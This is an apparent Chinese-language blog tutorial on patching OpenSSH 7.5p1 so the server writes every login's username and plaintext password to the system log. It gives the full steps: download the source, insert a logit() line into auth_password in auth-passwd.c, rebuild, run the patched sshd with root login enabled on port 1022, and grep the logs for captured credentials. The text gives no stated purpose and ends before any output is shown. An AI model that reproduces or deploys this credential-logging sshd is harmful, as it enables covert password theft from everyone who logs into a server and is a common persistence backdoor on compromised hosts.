ssh日志记录登陆密码
ssh记录登陆密码
了解到ssh自身不记录登陆的用户名密码
但我们可以通过修改ssh源码或者打补丁的方式来实现对远程登陆用户密码的记录
只需修改ssh源码或者打补丁重新编译,安装
即可获得一个新的ssh用户端
过程
1、准备环境
安装对应的openssh源码包
wget https://mirror.leaseweb.com/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz
创建相应的安装配置路径
mkdir -p /opt/ssh7.5p1/conf
当然还要安装相应依赖,这一步关乎后面的编译是否成功
注意debian和centos的依赖包名还不一样
#centos
yum install gcc zlib-devel openssl-devel -y
#debian
apt-get install gcc zlib1g-dev libssl1.0-dev -y
2、修改源码
解压刚下载的源码包
tar -zxvf openssh-7.5p1.tar.gz
进入目录
cd openssh-7.5p1
对源码进行一些修改
增加在日志中添加登陆用户名密码的功能
vi auth-passwd.c
添加一段代码
#找到函数auth_password,添加
logit("username: %s password: %s", authctxt->user, password);
3、编译安装
开始编译
./configure --sysconfdir=/opt/ssh7.5p1/conf/ --without-zlib-version-check --with-md5-passwords --prefix=/opt/ssh7.5p1/
#参数说明
--sysconfdir #配置文件目录
--without-zlib-version-check
--with-md5-passwords
--prefix #安装目录
在没有报错的情况下
进一步make
make install
之后就可以启动使用
/opt/ssh7.5p1/sbin/sshd
默认22端口,记得先把原先ssh停掉
4、登陆配置修改
按照前面设定的配置目录找到sshd_config
#修改配置文件
vim /opt/ssh7.5p1/conf/sshd_config
就跟正常改ssh配置文件操作一样,像允许远程用户登陆、修改端口
#修改端口
Port 1022
#允许root账号登陆
PermitRootLogin yes
5、日志查看
centos和debain日志位置不同
#centos
grep 'username:' /var/log/messages
#debian
grep 'username:' /var/log/auth.log
远程登陆一波
运行结果如下: